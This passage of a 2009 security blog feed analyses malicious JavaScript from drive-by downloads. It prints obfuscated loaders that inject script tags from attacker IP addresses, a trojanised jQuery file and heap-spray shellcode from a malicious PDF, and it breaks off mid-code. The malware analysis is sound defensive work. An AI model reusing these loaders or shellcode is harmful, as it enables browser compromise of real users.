&lt;p&gt;Here is an example of how conditional compilation is used in drive-by
downloads:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="c"&gt;/*@cc_on @*/&lt;/span&gt;
&lt;span class="c"&gt;/*@if (@_win32)&lt;/span&gt;
&lt;span class="c"&gt;var source =&amp;quot;=tdsjqu!uzqf&amp;gt;#ufyu0kbwbtdsjqu#!tsd&amp;gt;#iuuq;00:6&amp;quot; +&lt;/span&gt;
&lt;span class="c"&gt;    &amp;quot;/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?&amp;quot;;&lt;/span&gt;
&lt;span class="c"&gt;var result = &amp;quot;&amp;quot;;&lt;/span&gt;
&lt;span class="c"&gt;for(var i=0;i&amp;lt;source.length;i++)&lt;/span&gt;
&lt;span class="c"&gt;    result+=String.fromCharCode(source.charCodeAt(i)-1);&lt;/span&gt;
&lt;span class="c"&gt;document.write(result);&lt;/span&gt;
&lt;span class="c"&gt;/*@end @*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;cc_on&lt;/code&gt; statement enables conditional compilation. The &lt;code&gt;@if&lt;/code&gt;
statement checks that the browser is running on a Win32 system. If this
is the case, then the following JavaScript block is interpreted,
otherwise it is simply ignored. The code block is a
classic deobfuscation routine that produces the following text:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt; 
    &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://95.129.144.229/stats/stats.js&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This &lt;code&gt;script&lt;/code&gt; tag fetches a script that redirects to a number of pages serving 
exploits. &lt;/p&gt;

&lt;p&gt;What happens if the user's browser does not support conditional
compilation, for example, it is an analysis tool 
based on the stock SpiderMonkey or Rhino engines?
Then, it will simply consider the entire conditional compilation section
a comment and it will skip it. As a consequence, the malicious script tag will
not be added to the page, and, therefore, the subsequent exploits will
not be launched and will not be detected by the analysis tool.&lt;/p&gt;

&lt;p&gt;The &lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=32c7a12ecd8b06c34809e66f00cbeb4e&amp;amp;t=1241053642&amp;amp;type=js"&gt;full report for the
example&lt;/a&gt;
is available on Wepawet.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/_oesKfT5uHQ" height="1" width="1"/&gt;</description><category>javascript</category><category>malware</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-ie-conditional-c.html</guid><pubDate>Wed, 06 May 2009 00:46:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-ie-conditional-c.html</feedburner:origLink></item><item><title>JavaScript anti-analysis tricks: /textarea</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/J00EJ45KxmY/javascript-anti-analysis-tricks-textarea.html</link><description>&lt;p&gt;Malicious JavaScript code often relies on defensive mechanisms to evade
detection or to make its deobfuscation  more difficult. Some of these
methods have been well discussed (see, for example, the very nice presentations
&lt;a href="http://cansecwest.com/slides07/csw07-nazario.pdf"&gt;Reverse Engineering Malicious
Javascript&lt;/a&gt; by J. Nazario and 
&lt;a href="http://www.blackhat.com/presentations/bh-usa-08/Hoffman/Hoffman-BH2008-CircumventingJavaScript.ppt"&gt;Circumventing Automated JavaScript
Analysis&lt;/a&gt;
by B. Hoffman), but it's interesting to see how they are used.&lt;/p&gt;

&lt;p&gt;Some of the earliest defensive techniques are directed against the
manual analysis of malicious code. For example, a quick analysis
technique consists of wrapping the script's code into &lt;code&gt;textarea&lt;/code&gt; tags so
that deobfuscated code is written into the textarea and can be
quickly inspected and copy-and-pasted for further analysis. In this
case, the textarea is essentially used as a poor-man sandbox. Something
the bad guys figured out quickly was that all they needed to do to
defeat this technique was to close the textarea tag before performing
any other action.&lt;/p&gt;

&lt;p&gt;Somewhat surprisingly, this trick is still used from time to time. A few
months ago, a malicious script on ixfree.net contained the following
code:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;78.110.175.21&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;195.24.76.251&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\\bhgft=1/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;script&amp;gt;if(_)&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s2"&gt;&amp;quot;document.write(\\&amp;quot;&amp;lt;script id=_&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;_ src=//&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; + &lt;/span&gt;
&lt;span class="s2"&gt;            &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cp&lt;/span&gt;&lt;span class="o"&gt;/?&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; + navigator .appName.charAt(0) + &lt;/span&gt;
&lt;span class="s2"&gt;            &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;\\\\/&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;)&amp;lt;\\/script&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(see full report on
&lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=81deb72dcd0c5f545315753d6efe2652&amp;amp;t=1231197097&amp;amp;type=js"&gt;Wepawet&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The code closes the textarea to escape its "sandbox", checks that a
cookie is not set, and then generates two script tags that redirect to
exploits. If you were to wrap this code into a textarea, you would end
up with an empty textarea and a wrong detection.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/J00EJ45KxmY" height="1" width="1"/&gt;</description><category>javascript</category><category>malware</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-textarea.html</guid><pubDate>Fri, 01 May 2009 10:23:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-textarea.html</feedburner:origLink></item><item><title>Malicious "jquery"</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/28FjkPxb6DA/malicious-jquery.html</link><description>&lt;p&gt;A social engineering trick that the people behind drive-by
downloads are using is that of hiding their malicious code in the middle
of benign, well-know code.&lt;/p&gt;

&lt;p&gt;For example, recently, a number of compromised web sites have found their
pages modified with iframes pointing at hxxp://94.247.2.195/jquery.js.
At a cursory inspection, jquery.js looks like the
&lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt;  library, a
well-known (and definitely benign) JavaScript library. The code includes
the standard jQuery's copyright notice and revision information, and the
first 6K bytes or so are indeed identical to the original library's code. &lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="c"&gt;/*&lt;/span&gt;
&lt;span class="c"&gt; * jQuery JavaScript Library v1.3.1&lt;/span&gt;
&lt;span class="c"&gt; * http://jquery.com/&lt;/span&gt;
&lt;span class="c"&gt; *&lt;/span&gt;
&lt;span class="c"&gt; * Copyright (c) 2009 John Resig&lt;/span&gt;
&lt;span class="c"&gt; * Dual licensed under the MIT and GPL licenses.&lt;/span&gt;
&lt;span class="c"&gt; * http://docs.jquery.com/License&lt;/span&gt;
&lt;span class="c"&gt; *&lt;/span&gt;
&lt;span class="c"&gt; * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)&lt;/span&gt;
&lt;span class="c"&gt; * Revision: 6158&lt;/span&gt;
&lt;span class="c"&gt; */&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;jQu&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, the malicious code is hidden toward the end of the script,
where one finds:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;jquery_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; 
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\\miek=1/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fq%3CssoWcOTHriDpgpsoWt...FH5rscDpgrRpiptRp%3E&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/Z/&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;M&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nx"&gt;jquery_data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code determines whether an attack has already been launched, by
checking the &lt;code&gt;jquery_data&lt;/code&gt; variable and the &lt;code&gt;miek&lt;/code&gt; cookie. If not, it 
deobfuscates a long string and writes it in the current page. The
deobfuscated string creates a new &lt;code&gt;script&lt;/code&gt; tag which points at
&lt;code&gt;hxxp://94.247.2.195/news/?id=&lt;/code&gt; The value of the &lt;code&gt;id&lt;/code&gt; parameter in the
script URL is 100 if the codename of the browser starts with the letter &lt;code&gt;M&lt;/code&gt;
(e.g., Firefox and Internet Explorer), 101 in all other cases. This
page, in turn, attempts to launch a number of exploits (see the &lt;a href="http://wepawet.cs.ucsb.edu/view.php?type=js&amp;amp;hash=8f39008bc3088b58c32e1c6f1559ae50&amp;amp;t=1239729478"&gt;Wepawet
report&lt;/a&gt;).
The exploits target vulnerabilities in MDAC, PDF, and SWF.&lt;/p&gt;

&lt;p&gt;It's certainly true: thing are not always what they seem...&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/28FjkPxb6DA" height="1" width="1"/&gt;</description><category>javascript</category><category>malware</category><category>wepawet</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/04/malicious-jquery.html</guid><pubDate>Sun, 26 Apr 2009 21:25:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/04/malicious-jquery.html</feedburner:origLink></item><item><title>Yes exploit toolkit</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/7evRzMj64ug/yes-exploit-toolkit.html</link><description>&lt;p&gt;It is well known that most drive-by downloads rely on exploit toolkits
to fingerprint the victim's browser, identify the right exploits to
launch, obfuscate the exploit code, and send it to the target. &lt;/p&gt;

&lt;p&gt;Different exploit toolkits compete with each other on several of
features. Obviously, the number and reliability of exploits. But also on
user friendliness and look and feel. As evidence of this, check the
interface of the Yes exploit toolkit:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/images/blog/yes-toolkit.png"&gt;
&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/yes-toolkit.png"
     class="figure-centered"
     alt="Interface of the Yes toolkit"
     title="Interface of the Yes toolkit (click for larger picture)"
     width="500" height="314"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No question, they spent some time on that desktop-like, web 2.0
interface...&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/7evRzMj64ug" height="1" width="1"/&gt;</description><category>javascript</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/04/yes-exploit-toolkit.html</guid><pubDate>Fri, 03 Apr 2009 18:39:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/04/yes-exploit-toolkit.html</feedburner:origLink></item><item><title>Skype spam</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/H1kSt6gHixE/skype-spam.html</link><description>&lt;p&gt;Apparently years after everybody else, today I've got my first spam
message on Skype. Nothing too surprising: a funny named, scanty clothed
"spicy naked Dive-Teacher" abruptly but insistently invited me to visit
a dubious web site. My attempts to strike a conversation with her
failed miserably, as a consequence, I suppose, of my slow reaction to
her invitation. Oh, well.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://www.cs.ucsb.edu/~marco/images/blog/skype-spam.png"
     class="figure-centered"
     alt="Screenshot of the Skype spam message"
     title="Screenshot of the Skype spam message"
     width="500" height="236"/&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/H1kSt6gHixE" height="1" width="1"/&gt;</description><category>spam</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2009/01/skype-spam.html</guid><pubDate>Mon, 26 Jan 2009 23:16:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2009/01/skype-spam.html</feedburner:origLink></item><item><title>UCSB CTF 08</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/W7GBBnMwL10/ucsb-ctf-08.html</link><description>&lt;p&gt;This Friday, we hosted the 2008 edition of the UCSB international
Capture The Flag (iCTF) competition. The iCTF is an 8-hour, distributed,
security exercise for University teams. This year, 39 teams from 9
countries participated.&lt;/p&gt;

&lt;p&gt;The theme of this year's edition was inspired by the &lt;i&gt;24&lt;/i&gt; TV
series. Each team had to break into a computer network controlled by a
criminal organization to prevent a bomb from exploding.  Each team had
access to a separate (but identical) version of the criminal's network.
Before reaching the host controlling the bomb, the teams had to
compromise a web server, a financial server, and a development site, for
a total of 7 services.  Besides the main services to break into, teams
had to solve 13 challenges in 4 categories (trivia, binary, forensics,
and reverse engineering) to gain points. Points could be used to buy
hints to break the services hosted on the network.&lt;/p&gt;

&lt;p&gt;The final ranking was based on whether a team completed the mission of
defusing the bomb and on the number of available points. The top 3 teams
were:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;ENOFLAG, Technische Universitaet Berlin, Germany&lt;/li&gt;
  &lt;li&gt;SiBears, Tomsk State University, Russia&lt;/li&gt;
  &lt;li&gt;KinkyKoders, UC Santa Barbara, USA&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Congratulations to ENOFLAG and all teams that participated in the
competition. See you again next year!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: more information and resources are available on
the &lt;a href="http://www.cs.ucsb.edu/~vigna/CTF/"&gt;official CTF page&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/W7GBBnMwL10" height="1" width="1"/&gt;</description><category>wargames</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2008/12/ucsb-ctf-08.html</guid><pubDate>Sun, 07 Dec 2008 11:42:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2008/12/ucsb-ctf-08.html</feedburner:origLink></item><item><title>Malicious PDFs</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/HP5QhXqTsCs/malicious-pdfs.html</link><description>&lt;p&gt;Lately, &lt;a href="http://community.ca.com/blogs/securityadvisor/archive/2008/11/10/yet-another-exploited-pdf-in-the-wild.aspx
" title="Yet Another Exploited PDF in the Wild [ca.com]"&gt;malicious
PDFs&lt;/a&gt;
are becoming &lt;a href="http://community.ca.com/blogs/securityadvisor/archive/2008/10/05/prevalence-of-exploited-pdfs.aspx
" title="Prevalence of Exploited PDFs [ca.com]"&gt;more
popular&lt;/a&gt;. They generally abuse
the JavaScript functionality that Adobe added to the PDF specification.
Luckily, it is not
too difficult to analyze these files, since, as we will see, they use pretty much
the same techniques that are used in malicious JavaScript code. 
I'll use as an example the
&lt;a href="http://www.virustotal.com/analisis/de1bddc90e47ac3391d51fb08f01df4a
" title="[virustotal.com]"&gt;us.pdf&lt;/a&gt; file,
which was used in a drive-by exploit attack hosted on 78.157.142.122.&lt;/p&gt;

&lt;p&gt;PDFs are generally compressed, 
so the first step is to uncompress the
file. To do this, I generally use the nice
&lt;a href="http://www.pdfhacks.com/pdftk/" title="pdftk &amp;ndash; the pdf toolkit
[pdfhacks.com]"&gt;pdftk&lt;/a&gt;  tool:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;pdftk us.pdf output us.clear.pdf uncompress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, if you open us.clear.pdf, the JavaScript code is nicely readable
inside one of the objects defined by the document:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;what&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;what&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;viewerVersion&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;7.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1124&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0028%u06eb%u06eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0028%u0aeb%u0aeb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;122&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0028%u06eb%u06eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1256&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="k"&gt;else&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
